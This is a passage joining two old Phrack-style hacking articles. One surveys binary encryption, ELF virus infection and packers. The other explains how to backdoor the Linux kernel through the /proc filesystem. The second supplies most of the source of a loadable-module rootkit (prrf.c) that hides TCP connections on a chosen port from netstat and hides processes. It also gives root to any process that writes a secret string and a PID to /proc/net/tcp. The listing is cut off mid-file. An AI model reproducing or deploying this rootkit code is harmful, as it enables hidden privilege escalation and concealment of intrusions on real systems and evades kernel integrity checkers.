* XOR: The favourite of any aspiring hacker, xor is frequently used to obfuscate code with a simple encryption. These are usually very easily broken, but extend slightly the time it takes to reverse engineer.

* Stream Ciphers: Ideal for binary encryption, these are usually strong, small and can decrypt an arbitray number of bytes. A binary properly encrypted with a stream cipher is impregnable to analysis.

* Block Ciphers: These are more awkward to use for binary encryption because of the block alignment requirements.

* Virtual CPUs: A painstaking and powerful method of securing a binary. The object code actually runs on a virual CPU that needs to be independantly analysed first. Very painful for a reverse engineer (and also the developer).

There are even mechanisms to keep the plaintext as safe as possible in memory. Here is a partial list of some of these mechanisms:

* Running Line Code: This is when only the code immediately needed is decrypted, and then encrypted again after use. CPU intensive, but extremely difficult to analyse.

* Proprietary Binary Formats: If the object code is stored in an unknown format, it is quite difficult for the reverse engineer to determine what is data and what is text.

‑‑[ Runtime encryption techniques

‑‑[ The virus approach

Adding code to an ELF executeable is far from being new. There have been known ELF viruses since about 1997, and Silvio was the first to publish about it [2], [3].

One nasty property about the ELF format is its "easy loading" design goal. The program headers and the associated segments map directly into the memory, speeding up the preparation of the executeable when executing it. The way its implemented in the ELF format makes it difficult to change the file layout after linking. To add code or to modify the basic structure becomes nearly impossible, since a lot of hardcoded values cannot be adjusted without knowing the pre‑linking information, such as relocation information, symbols, section headers and the like. But most of such information is either gone in the binary or incomplete.

Even with such information, modifying the structure of the ELF executeable is difficult (without using a sophisticated library such as libbfd). For an in‑depth discussion about reducing the pain when modifying shared libraries with most of the symbol information intact, klog has written an article about it [4].

Because of this difficulties, most attempts in the past have focused on exploiting 'gaps' within the ELF binary, that get mapped into memory when loading it, but remain unused. Such areas are needed to align the memory on pages. As mentioned earlier, ELF has been designed for fast loading, and this alignment in the file guarantees a one‑to‑one mapping of the file into the memory. Also, as we will see below, this alignment allows easy implementation of page‑wise granularity for read, write and execution permission.

So the 'usual' ELF virus searches through the host executeable for such gaps, and in case a sufficient large area has been found it writes a copy of itself into it. Afterwards it redirects the execution flow of the program to its own area, often by just modifying the program entry point in the ELF header. There have been numerous examples for such viruses, most notable the 'VIT' [5] and 'Brundle‑Fly' [6] virii.

While this approach works moderatly well in practice, it cannot infect every ET_EXEC ELF executeable. The page size (PAGE_SIZE) on a UNIX system is often 4096, and since the padding can take up at max a whole page, the chances of finding a possible gap is dependant on the virus size and the host executeable. An average virus of the above type takes about 2000 bytes and hence can infect only about 50 percent of all executeables. While for virii this adds some non‑deterministic fun and does not really matter, for reliable binary encryption this approach has serious drawbacks.

However, there have been mad people using this approach for basic binary encryption purposes. The program which does this is called dacryfile. There is a demonstration copy of dacryfile* available from [7]. Dacryfile uses a data injected parasite to perform the run time decryption of the host file. While dacryfile is undocumented, a limited amount of information is provided here for the curious.

Dacryfile is a collection of tools which implement the following concept. The host file is encrypted from the start of the .text section, to the end of the .text segment. The file now has its object code and its read only data protected by encryption, while all its data and dynamic objects are open to inspection. The host file is injected with a parasite that will perform the runtime decryption. This parasite can be of arbitrary size because it is appended to the end of the .data segment.

The default link map of a gcc produced Linux ELF has the .dynamic section as the last prior to the .bss section. The .dynamic section is an array of Elf32_Dyn structures, terminated by a NULL struct tag. Therefore, regardless of how big the .dynamic section, processing of its contents will halt when the terminating Elf32_Dyn struct is encountered. A parasite can be injected at the end of the section without damaging the host file in any way. The dacryfile program "inject" appends the .text section from a parasite object file onto the .dynamic section of a host binary.

The parasite itself is fairly simple, utilising the subversive dynamic linking Linux library to access libc functions, and rc4 to decrypt the host.

The dacryfile collection is unsupported and undocumented, it and all other first generation binary encryptors, are a dead end. However, a dacryfile protected binary will be extremely immune from the recent pitiful attempts at reverse engineering by the forensic experts. Provided the encryption passphrase remains secret, and is strong enough to withstand a brute force attack, a dacryfile protect binary will keep is its object code or read‑only data secure from examination. The dynamic string table will still be available, but that will provide limited information about the functionality of the binary.

Also included with the article is a stripped down but functional loader of the burneye runtime encryption program. It is commented and should work just fine.

* dacryphilia is a fetish in which one gains sexual arousal through the tears of one's partner.

‑‑[ Packing/Userspace ELF loader

The most flexible approach to wrap an executeable has been invented by the developers of the UPX packer [12], by John Reiser to be exact :). They load the binary in userspace, much like the kernel does it. When done properly there is no visible change in behaviour to the wrapped program, while it has no constrains on either the wrapper or the wrapped executeable, as the techniques mentioned before have. So this is the way we want to encrypt binaries, by loading them from userspace.

Normally the kernel is responsible for loading the ELF executeable into memory, setting page permissions and allocating storage. Then it passes control to the code in the executeable.

On todays system this is not fully true anymore. The kernel still does a lot of initial work, but then interacts with a userspace runtime linker (rtld) to resolve libraries dependancies, symbols and linking preparations. Only after the rtld has done the whole backstage work, control is passed to the real programs entry point. The program finds itself in a healthy environment with all library symbols resolved, well prepared memory layout and a carefully watching runtime linker in the background.

In normal system use this is a very hidden operation and since it works so smooth nobody really cares. But as we are going to write a userspace ELF loader, we have to mess with the details. To get a rough impression, just write a simple "hello world" program in C, compile it, and instead of just running it, do a strace on it. Ever wondered what happens as so many syscalls are issued by your one‑line executeable?

This is the runtime linker in action, trying to resolve your 'printf' symbol after it mapped the entire C library into memory and prepared the page permissions.

A lot of interesting details about the history of linkers and program loading can be found in [8].

‑‑[ The future

Forensic work on binary executeables will become very difficult, and most of the people who do forensics nowadays will drop out of the field. Most likely some people from the reverse engineering 'scene' will convert more to network security and become forensics.

There are promising approaches to incorporating decompilation and data/code flow analysis techniques into binary encryption to implement further protections against tampering, analyzing and deprotecting such binaries.

The strength of the next protections will rely on the missing debug interfaces on most UNIX's, that are able to deal with hostile code. The generation of protections that come afterwards will rely solely on their sophisticated obfuscation approaches to deny attempts of static and dead‑listing type of analysis.

There are approaches to replace the overtaxed ptrace interface [9] with more powerful debug interfaces that can deal with hostile code. Also work on kernel space debuggers has been done, such as the Pice debugger [10].

Aside from poor debugging tools and bad debugging hooks, the only thing that can be used to armour the run time binary is heavy obfuscation that will make it harder for a reverse engineer to see what is actually going on. You have to remember that a reverse engineer can see each atomic operation that is performed, as well as what is going on in memory (i.e. change variables, new mmaps, read()s, etc. etc. If this is to be defeated, they need to be swamped with information. They need to be so bady off that they cry about each time they have to restart their debuggers!

‑‑[ References

[1] Tool Interface Standard, Executeable and Linking Format, Version 1.2 http://segfault.net/~scut/cpu/generic/TIS‑ELF_v1.2.pdf

http://www.caldera.com/developers/gabi/latest/contents.html

http://www.caldera.com/developers/devspecs/gabi41.pdf

additional per‑architecture information is available from http://www.caldera.com/developers/devspecs/

[2] Silvio Cesare, Unix viruses http://www.big.net.au/~silvio/unix‑viruses.txt

[3] Silvio Cesare, Unix ELF parasites and virus http://www.big.net.au/~silvio/elf‑pv.txt

[4] klog, Phrack #56 article 9, Backdooring binary objects http://www.phrack.org/show.php?p=56&a=9

[5] Silvio Cesare, The 'VIT' virus http://www.big.net.au/~silvio/vit.html

[6] Konrad Rieck, Konrad Kretschmer

'Brundle‑Fly', a good‑natured Linux ELF virus http://www.roqe.org/brundle‑fly/

[7] The grugq, dacryfile binary encryptor http://hcunix.7350.org/grugq/src/dacryfile.tgz

[8] John R. Levine, Linkers & Loaders

ISBN 1‑55860‑496‑0

[9] Linux ptrace man page (see if you can catch the three errors) http://www.die.net/doc/linux/man/man2/ptrace.2.html

[10] PrivateICE Linux system level symbolic source debugger http://pice.sourceforge.net/

[11] Konstantin Boldyshev, Startup state of Linux/i386 ELF binary http://linuxassembly.org/startup.html

[12] UPX, the Ultimate Packer for eXecutables http://upx.sourceforge.net/

[13] GNU binutils

ftp://ftp.gnu.org

[14] Forensic analysis of a burneye protected binary http://www.incidents.org/papers/ssh_exploit.pdf

http://staff.washington.edu/dittrich/misc/ssh‑analysis.txt

[15] The grugq, Subversive Dynamic Linking http://hcunix.7350.org/grugq/doc/subversivedl.pdf

begin 644 binary‑encryption.tar.gz M'XL(`#^^+#P``^S\97`>3;,V"%K,S,S,8#%8S,QD,3,S6,S,;+$LM%@6,S,S

end

Advances in kernel hacking

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e

|=‑‑‑‑‑=[ Sub proc_root Quando Sumus (Advances in Kernel Hacking) ]=‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ palmers <palmers@team‑teso.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ VFS and Proc Primer

2.1 ‑ VFS and why Proc?

2.2 ‑ proc_fs.h

2.3 ‑ The proc_root

3 ‑ Where to Go?

3.1 ‑ Securing?

3.2 ‑ Denial of Service

3.3 ‑ Connection Hiding

3.4 ‑ Elevation of Privileges

3.5 ‑ Process Hiding

3.6 ‑ Other Applications

4 ‑ Conclusion

5 ‑ Reference

Appendix A: prrf.c

‑‑[ 1 ‑ Introduction

"The nineteenth century dislike of romanticism is the rage of Caliban seeing his own face in the glass.

The nineteenth century dislike of realism is the rage of Caliban not seeing his own face in the glass."

‑ Oscar Wilde, the preface to "The picture of Dorian Gray"

Since I concern here on hacking, not literature, lets restate it. Our romanticism is security, realism is its shadow. This article is about the hacker Caliban. Our glass shall be the Linux kernel.

Not the whole kernel; especially the proc filesystem. It offers interesting features and they are used a lot in userland.

I will only describe this techniques for use in Linux kernel modules (LKM). It is up to the reader to port these techniques. Though, the techniques are portable, their use will be very bounded on other unices. The proc filesystem, developed to the extends as in Linux, is not that extended in other unices. In general, it lists one directory per process. In Linux it can be used to gather plenty of information. Many programs rely on it. More informations can be found in [7] and [8].

Older versions of UNIX and HP‑UX 10.x do not provide the proc filesystem. Process data, such as that obtained by the ps(1) command, is obtained by reading kernel memory directly. This requires superuser permissions and is even less portable than the proc filesystem structure.

‑‑[ 2 ‑ VFS and Proc Primer

First I will line out the needed basics to understand the techniques explained later on. Then proc filesystem design will be investigated, finally we will dive into, well, the roof top.

‑‑[ 2.1 ‑ VFS and why Proc?

The kernel provides a filesystem abstraction layer, called virtual filesystem or VFS. It is used to provide a unified view on any filesystem from the userland (see [1] for details). More on this methodology can be found in [2].

We will not look at proc from VFS view. We look at the un‑unified filesystem, which is at the implementation level of the proc filesystem. This has a simple reason. We want to apply changes to proc and it still should look like any other filesystem.

Did I already mention why proc is aimed at by this article? it has two attributes that make it interesting:

1. it is a filesystem.

2. it lives completely in kernel memory.

Since it is a filesystem all access from the userland is limited to the functionality of VFS layer provided by the kernel, namely read, write, open and alike system calls (besides other access methods, see [3]).

I will elaborate on the question: How can the kernel be backdoored without changing system calls.

‑‑[ 2.2 ‑ proc_fs.h

This subchapter will concern on the file named proc_fs.h; commonly in ~/include/linux/, where ~ is the root of you kernel source tree. Ok, here we go for 2.2 series:

/*

* This is not completely implemented yet. The idea is to

* create an in‑memory tree (like the actual /proc filesystem

* tree) of these proc_dir_entries, so that we can dynamically

* add new files to /proc.

*

* The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every

* /proc file has a parent, but "subdir" is NULL for all

* non‑directory entries).

*

* "get_info" is called at "read", while "fill_inode" is used to * fill in file type/protection/owner information specific to the * particular /proc file.

*/

struct proc_dir_entry {

unsigned short low_ino;

unsigned short namelen;

const char *name;

mode_t mode;

nlink_t nlink;

uid_t uid;

gid_t gid;

unsigned long size;

struct inode_operations * ops;

int (*get_info)(char *, char **, off_t, int, int);

void (*fill_inode)(struct inode *, int);

struct proc_dir_entry *next, *parent, *subdir;

void *data;

int (*read_proc)(char *page, char **start, off_t off,

int count, int *eof, void *data);

int (*write_proc)(struct file *file, const char *buffer, unsigned long count, void *data);

int (*readlink_proc)(struct proc_dir_entry *de, char *page); unsigned int count;/* use count */

int deleted;/* delete flag */

};

The described "in‑memory tree" will be unified by the VFS. This struct is a little different in 2.4 kernel:

/*

* This is not completely implemented yet. The idea is to

* create an in‑memory tree (like the actual /proc filesystem

* tree) of these proc_dir_entries, so that we can dynamically

* add new files to /proc.

*

* The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every

* /proc file has a parent, but "subdir" is NULL for all

* non‑directory entries).

*

* "get_info" is called at "read", while "owner" is used to protect module * from unloading while proc_dir_entry is in use

*/

typedef int (read_proc_t)(char *page, char **start, off_t off, int count, int *eof, void *data);

typedef int (write_proc_t)(struct file *file, const char *buffer, unsigned long count, void *data);

typedef int (get_info_t)(char *, char **, off_t, int);

struct proc_dir_entry {

unsigned short low_ino;

unsigned short namelen;

const char *name;

mode_t mode;

nlink_t nlink;

uid_t uid;

gid_t gid;

unsigned long size;

struct inode_operations * proc_iops;

struct file_operations * proc_fops;

get_info_t *get_info;

struct module *owner;

struct proc_dir_entry *next, *parent, *subdir;

void *data;

read_proc_t *read_proc;

write_proc_t *write_proc;

atomic_t count;/* use count */

int deleted;/* delete flag */

kdev_t rdev;

};

Years of development did not complete it. Err.. complete it, yet. But well enough, it changed. get_info function prototype lost a argument. Working around this makes portable code a bit messy.

Note that there are three new entries while one entry, readlink_proc, was removed. Also note, the file operation struct was moved from the inode operations into the proc_dir_entry struct. Working around this is just fine, see section 3.

‑‑[ 2.3 ‑ The proc_root

The Linux kernel exports the root inode of the proc filesystem, named proc_root. Hence, it is the root inode of the proc filesystem that the mountpoint, commonly /proc, is referring to. We can, starting there, go to any file in below that directory. However, there is one exception. The processes' directories can never be reached from proc_root. They are added dynamically, and presented to the VFS layer if readdir (inode operation) is called.

It should be made clear that proc_root is of type

"struct proc_dir_entry".

‑‑[ 3 ‑ Where to Go?

This chapter will introduce techiques to aquire even more abilities than commonly obtained by systemcall replacement.

The following functions and macros will be used in the code provided in these subsections (note: for implementation see appendix A):

As noted in section 2.2 we have to take care of a little change in design:

#if defined (KERNEL_22)

#define FILE_OPS ops‑>default_file_ops

#define INODE_OPS ops

#elif defined (KERNEL_24)

#define FILE_OPS proc_fops

#define INODE_OPS proc_iops

#endif

struct proc_dir_entry *

traverse_proc (char *path, struct proc_dir_entry *start):

On success, return a pointer to the proc file specified by path. On failures, NULL is returned.

Start may either be NULL or an arbitrary proc_dir_entry; it marks the point there the search begins.

The path may begin with "~/". If it does, the search starts at proc_root.

int

delete_proc_file (char *path):

This function will remove a file from the proc directory lists. It will not free the memory the proc_dir_entry occupies, thus making it possible to reintroduce it later on.

‑‑[ 3.1 ‑ Securing?

The easiest modifications coming to mind are related to the first few fields in the proc_dir_entry. Namely uid, gid and mode. By changing them we can simply reissue and/or revoke the ability for certain users to access certain information. Side note here: some of the information accessable through /proc can be obtained in other ways.

An implementation may look like this:

proc_dir_entry *a = NULL;

a = traverse_proc ("~/ksyms", NULL);

if (a) {

/* reset permissions to 400 (r‑‑‑‑‑‑‑‑): */

a‑>mode ‑= (S_IROTH | S_IRGRP);

}

a = traverse_proc ("~/net", NULL);

if (a) {

/* reset permissions to 750 (rwxr‑x‑‑‑): */

a‑>mode = S_IRWXU | S_IRGRP | S_IXGRP;

/* reset owner group to a special admin group id */

a‑>gid = 7350;

}

Another possibility for securing proc access is given in 3.5.

‑‑[ 3.2 ‑ Denial of Service

Well, I will make this as short as possible. A malicious user might apply changes to files to render parts of the system useless. Those, as mentioned above, can easily be undone. But if the malicious user simply unlinks a file it is lost:

/* oops, we forget to save the pointer ... */

delete_proc_file ("~/apm");

what actually happens on delete_proc_file calls is (simplified): 0. find proc_dir_entry of the file to delete (to_del)

1. find the proc_dir_entry that matches:

proc‑>next‑>name == to_del‑>name

2. relink:

proc‑>next = to_del‑>next

‑‑[ 3.3 ‑ Connection Hiding

The netstat utility uses the proc file ~/net/* files to show e.g. tcp

connections and their status, listening udp sockets etc. Read [4] for a complete discussion of netstat. Since we control the proc filesystem we are able to define what is read and what is not. The proc_dir_entry struct contains a function pointer named get_info which is called at file read. By redirecting this we can take control of the contents of files in /proc.

Take care of the file format in different version. Files mentioned above changed their format from 2.2.x to 2.4.x. Notably, the same function can be used for redirection. Lets see how this develops in 2.5.x kernels.

an example (for 2.2.x kernels, for differences to 2.4.x kernel see section 2.2):

/* we save the original get_info */

int (*saved_get_info)(char *, char **, off_t, int, int); proc_dir_entry *a = NULL;

/* the new get_info ... */

int

new_get_info (char *a, char **b, off_t c, int d, int e) {

int x = 0;

x = saved_get_info (a, b, c, d, e);

/* do something here ... */

return x;

}

a = traverse_proc ("~/net/tcp", NULL);

if (a) {

/*

* we just set the get_info pointer to point to our new

* function. to undo this changes simply restore the pointer. */

saved_get_info = a‑>get_info;

a‑>get_info = &new_get_info;

}

Appendix A offers a example implementation.

‑‑[ 3.4 ‑ Elevation of Privileges

Often a system call is utilized to give under a certian condition extra privileges to a user. We will not redirect a system call for this. Redirecting the read file operation of a file is sufficient hence (1) it allows a user to send data into the kernel and (2) it is considerable stealthy if we choose the right pattern or the right file (elevating a tasks id's to 0 if it writes a '1' to /proc/sys/net/ipv4/ip_forward is certainly a bad idea).

Some code will explain this.

a = traverse_proc ("~/ide/drivers", NULL);

if (a) {

/*

* the write function is called if the file is written to.

*/

a‑>FILE_OPS‑>write = &new_write;

}

It is a good idea to save the pointer you overwrite. If you remove the module memory containing the function might free'ed. It can bring havoc to a system if it subsequently calls a NULL pointer. The curious reader is encouraged to read appendix A.

‑‑[ 3.5 ‑ Process Hiding

What happens if a directory is to be read? You have to find its inode, then you read its entries using readdir. VFS offers a unified interface to this, we dont care and reset the pointer to readdir of the parent inode in question.

Since the process directories are directly under proc_root there is no need for searching the parent inode. Note that we do not hide the entries from the user by sorting them out, but by not writing them to the users memory.

/* a global pointer to the original filldir function */

filldir_t real_filldir;

static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino) {

/*

* if the dir entry, that should be added has a stupid name

* indicate a successful addition and do nothing.

*/

if (isHidden (name))

return 0;

return real_filldir (__buf, name, namlen, offset, ino);

}

/* readdir, business as usual. */

int new_readdir_root (struct file *a, void *b, filldir_t c) { /*

* Note: there is no need to set this pointer every

* time new_readdir_root is called. But we have to set

* it once, when we replace the readdir function. If we

* know where filldir lies at that time this should be

* changed. (yes, filldir is static).

*/

real_filldir = c;

return old_readdir_root (a, b, new_filldir_root);

}

/* replace the readdir file operation. */

proc_root.FILE_OPS‑>readdir = new_readdir_root;

If the process that should be added last is hidden the list of entries is not properly linked since our filldir does not care about linking. However, this is very unlikely to happen. The user has all power he needs to avoid this condition.

It is possible to just make files unaccessable within /proc by replacing the lookup inode operation of the parent:

struct dentry *new_lookup_root (struct inode *a, struct dentry *b) { /*

* will result in:

* "/bin/ls: /proc/<d_iname>: No such file or directory"

*/

if (isHidden (b‑>d_iname))

return NULL;

return old_lookup_root (a, b);

}

/* ... enable the feature ... */

proc_root.INODE_OPS‑>lookup = &new_lookup_root;

E.g. this can be used to establish fine grained access rules.

‑‑[ 3.6 ‑ Other Applications

Now, lets have a look at what files wait to become modified. In the /proc/net directory are ip_fwnames (defining chain names) and ip_fwchains (rules). They are read by ipchains (not by iptables) if they are queried to list the filter rules. As mentioned above, there is a file named tcp, listening all existing tcp sockets. such a file exists for udp, too. the file raw lists raw sockets. sockstat contains statistics on socket use. A carefully written backdoor has to sync between the (tcp|udp|...) files and this one. The arp utility uses /proc/net/arp to gather its information. route uses the /proc/net/route file. Read their manpages and look out for the sections named "FILES" and "SEE ALSO". However, checking the files is only half of the work, e.g. ifconfig uses a proc file (dev) plus ioctl's to gether its information.

As you can see, there are many many applications to these techniques. It is up to you to write new get_info functions to filter their output or to add new evil entries (non existing problems are the hardest to debug).

‑‑[ 4 ‑ Conclusion

As we saw in section 3.2 ‑ 3.6 there are several possibilities to weaken the security in the Linux kernel. Existing kernel protection mechanisms, as [5] and [6] will not prevent them, they check only for well known, system call based, backdooring; we completely worked around it. Disabling LKM support will only prevent the specific implementation included here to work (because it is a LKM).

Changing the proc structures by accessing /dev[k]mem is easy since most data of the inodes is static. Therefore they can be possibly found by simple pattern matching (only the function pointers and next/parent/subdir pointers will be different).

A important goal, hiding of any directory and file, was not passed. This does not imply that it can not be reached by proc games. A possiblity could be to hardcode needed binaries into the kernel images proc structures, or on systems using sdram, leting them occupy unused memory space. Quiet another possibility might be to attack the VFS layer. That, of course, is the story of another article.

Finally some words about the implementation appended. I strongly urge the read to use it ONLY as a proof of concept. The author can and must not be made responsible for any, including but not limited to, incidental or consequential damage, data loss or service outage. The code is provided "AS IS" and WITHOUT ANY WARRENTY. USE IT AT YOU OWN RISK. The code is know to compile and run on 2.2.x and 2.4.x kernels.

‑‑[ 5 ‑ Reference

[1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au> http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt

[2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and Albert S. Woodhull

ISBN 0‑13‑630195‑9

[3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au> http://www.big.net.au/~silvio/runtime‑kernel‑kmem‑patching.txt

[4] netstat

see netstat(1) for further information.

[5] StMichael, by Tim Lawless <lawless@netdoor.com> http://sourceforge.net/projects/stjude

[6] KSTAT, by FuSyS <fusys@s0ftpj.org> http://s0ftpj.org/tools/kstat.tgz

[7] proc pseudo‑filesystem man page

see proc(5)

[8] "T H E /proc F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>, Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com> ~/Documentation/filesystems/proc.txt (only in recent kernel source trees!) http://skaro.nightcrawler.com/~bb/Docs/Proc

‑‑[ Appendix A: prrf.c

<++> ./prrf.c

/*

* prrf.c

*

* LICENSE:

* this file may be copied or duplicated in any form, in

* whole or in part, modified or not, as long as this

* copyright notice is prepended UNMODIFIED.

*

* This code is proof of concept. The author can and must

* not be made responsible for any, including but not limited

* to, incidental or consequential damage, data loss or

* service outage. The code is provided "AS IS" and WITHOUT

* ANY WARRENTY. USE IT AT YOU OWN RISK.

*

* palmers / teso ‑ 12/02/2001

*/

/*

* NOTE: the get_info redirection DOES NOT handle small buffers. * your system _might_ oops or even crash if you read less * bytes then the file contains!

*/

/*

* 2.2.x #define KERNEL_22

* 2.4.x #define KERNEL_24

*/

#define KERNEL_221

#define DEBUG1

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <sys/syscall.h>

#include <linux/config.h>

#include <linux/types.h>

#include <linux/slab.h>

#include <linux/smp_lock.h>

#include <linux/fd.h>

#include <linux/fs.h>

#include <linux/proc_fs.h>

#include <linux/sched.h>

#include <asm/uaccess.h>

/*

* take care of proc_dir_entry design

*/

#if defined (KERNEL_22)

#define FILE_OPSops‑>default_file_ops

#define INODE_OPSops

#elif defined (KERNEL_24)

#define FILE_OPSproc_fops

#define INODE_OPSproc_iops

#endif

#define BUF_SIZE65535

#define AUTH_STRING"ljdu3g9edaoih"

struct hide_proc_net

{

intid;/* entry id, useless ;) */

char*local_addr,/* these should be self explaining ... */

*remote_addr,

*local_port,

*remote_port;

};

/*

* global lst_entry:

* set by traverse_proc, used by delete_proc_file.

*/

struct proc_dir_entry*lst_entry = NULL;

/*

* some function pointers for saving original functions.

*/

#if defined (KERNEL_22)

int (*old_get_info_tcp) (char *, char **, off_t, int, int); #elif defined (KERNEL_24)

get_info_t *old_get_info_tcp;

#endif

ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *); struct dentry * (*old_lookup_root) (struct inode *, struct dentry *); int (*old_readdir_root) (struct file *, void *, filldir_t); filldir_t real_filldir;

/*

* rules for hiding connections

*/

struct hide_proc_net hidden_tcp[] = {

{0, NULL, NULL, ":4E35", NULL},/* match connection from ANY:ANY to ANY:20021 */

{1, NULL, NULL, NULL, ":4E35"},/* match connection from ANY:20021 to ANY:ANY*/

{2, NULL, NULL, ":0016", ":4E35"},/* match connection from ANY:20021 to ANY:22 */

{7350, NULL, NULL, NULL, NULL}/* stop entry, dont forget to prepend this one */

};

/*

* get_task:

* find a task_struct by pid.

*/

struct task_struct *get_task(pid_t pid)

{

struct task_struct*p = current;

do {

if (p‑>pid == pid)

return p;

p = p‑>next_task;

} while (p != current);

return NULL;

}

/*

* __atoi:

* atoi!

*/

int __atoi(char *str)

{

intres = 0,

mul = 1;

char *ptr;

for (ptr = str + strlen(str) ‑ 1; ptr >= str; ptr‑‑) {

if (*ptr < '0' || *ptr > '9')

return (‑1);

res += (*ptr ‑ '0') * mul;

mul *= 10;

}

return (res);

}

/*

* get_size_off_tcp:

* get the size of the modified /proc/net/tcp file.

*/

static off_t get_size_off_tcp (char **start)

{

off_tx = 0,

xx = 0,

xxx = 0,

y = 0;

chartmp_buf[BUF_SIZE + 1];

do

{

x += y;

xx += xxx;

y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx); } while (y != 0);

return x ‑ xx;

}

/*

* deny_entry:

* check connection parameters against our access control list.

* for all non‑NULL fields of a entry the supplied parameters

* must match. Otherways the socket will show up.

*/

int deny_entry (char *la, char *lp, char *ra, char *rp)

{

intx = 0,

y,

z;

while (hidden_tcp[x].id != 7350)

{

y = 0;

z = 0;

if (hidden_tcp[x].local_addr != NULL)

{

if (!strncmp (la, hidden_tcp[x].local_addr, 8))

y++;

}

else

z++;

if (hidden_tcp[x].remote_addr != NULL)

{

if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))

y++;

}

else

z++;

if (hidden_tcp[x].local_port != NULL)

{

if (!strncmp (lp, hidden_tcp[x].local_port, 5))

y++;

}

else

z++;

if (hidden_tcp[x].remote_port != NULL)

{

if (!strncmp (rp, hidden_tcp[x].remote_port, 5))

y++;

}

else

z++;

if ((z != 4) && ((y + z) == 4))

return 1;

x++;

}

return 0;

}

/*

* __new_get_info_tcp:

* filter the original get_info output. first call the old function, * then cut out unwanted lines.

* XXX: very small buffers will make very large problems.

*/

int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx) {

chartmp_l_addr[8],

tmp_l_port[5],

tmp_r_addr[8],

tmp_r_port[5],/* used for acl checks */

*tmp_ptr,

*tmp_page;

intx = 0,

line_off = 0,

length,

remove = 0,

diff,

m;

#if defined (KERNEL_22)

x = old_get_info_tcp (page, start, pos, count, f);

#elif defined (KERNEL_24)

x = old_get_info_tcp (page, start, pos, count);

#endif

if (page == NULL)

return x;

while (*page)

{

tmp_ptr = page;

length = 28;

while (*page != '\n' && *page != '\0')/* check one line */

{

/*

* we even correct the sl field ("line number").

*/

if (line_off)

{

diff = line_off;

if (diff > 999)

{

m = diff / 1000;

page[0] ‑= m;

diff ‑= (m * 1000);

}

if (diff > 99)

{

m = diff / 100;

page[1] ‑= m;

diff ‑= (m * 100);

}

if (diff > 9)

{

m = diff / 10;

page[2] ‑= m;

diff ‑= (m * 10);

}

if (diff > 0)

page[3] ‑= diff;

if (page[0] > '1')

page[0] = ' ';

if (page[1] > '1')

page[1] = ' ';

if (page[2] > '1')

page[2] = ' ';

}

page += 6;/* jump to beginning of local address, XXX: is this fixed? */

memcpy (tmp_l_addr, page, 8);

page += 8;/* jump to beginning of local port */

memcpy (tmp_l_port, page, 5);

page += 6;/* jump to remote address */

memcpy (tmp_r_addr, page, 8);

page += 8;/* jump to beginning of local port */

memcpy (tmp_r_port, page, 5);

while (*page != '\n')/* jump to end */

{

page++;

length++;

}

remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port); }

page++;/* '\n' */

length++;

if (remove == 1)

{

x ‑= length;

if (what)/* count ignored bytes? */

*fx += length;

tmp_page = page;

page = tmp_ptr;

while (*tmp_page)/* move data backward in page */

*tmp_ptr++ = *tmp_page++;

/* zero lasting data (not needed)

while (length‑‑)

*tmp_ptr++ = 0;

*tmp_ptr = 0;

*/

line_off++;

remove = 0;

}

}

return x;

}

/*

* new_get_info_tcp:

* we need this wrapper to avoid duplication of entries. we have to * check for "end of file" of /proc/net/tcp, where eof lies at

* file length ‑ length of all entries we remove.

*/

#if defined (KERNEL_22)

int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f) {

#elif defined (KERNEL_24)

int new_get_info_tcp (char *page, char **start, off_t pos, int count) {

intf = 0;

#endif

intx = 0;

off_tmax = 0;

max = get_size_off_tcp (start);

if (pos > max)

return 0;

x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);

return x;

}

/*

* new_write_tcp:

* a write function that performs misc. tasks as privilege elevation etc. * e.g.:

* echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr.

*/

ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d) {

char *tmp = NULL, *tmp_ptr;

tmp = kmalloc (c + 1, GFP_KERNEL);

copy_from_user (tmp, b, c);

if (tmp[strlen (tmp) ‑ 1] == '\n')

tmp[strlen (tmp) ‑ 1] = 0;

if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))

{

struct task_struct *x = NULL;

tmp_ptr = tmp + strlen (AUTH_STRING) + 1;

if ((x = get_task (__atoi (tmp_ptr))) == NULL)

{

kfree (tmp);

return c;

}

x‑>uid = x‑>euid = x‑>suid = x‑>fsuid = 0;

x‑>gid = x‑>egid = x‑>sgid = x‑>fsgid = 0;

}

kfree (tmp);

return c;

}

/*

* some testing ...

*/

struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {

if (b‑>d_iname[0] == '1')

return NULL;/* will result in: "/bin/ls: /proc/1*: No such file or directory" */

return old_lookup_root (a, b);

}

static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino) {

if (name[0] == '1' && name[1] == '0')/* hide init */

return 0;

/*

* hiding the last task will result in a wrong linked list.

* that leads e.g. to crashes (ps).

*/

return real_filldir (__buf, name, namlen, offset, ino);

}

int new_readdir_root (struct file *a, void *b, filldir_t c)

{

real_filldir = c;

return old_readdir_root (a, b, new_filldir_root);

}

/*

* traverse_proc:

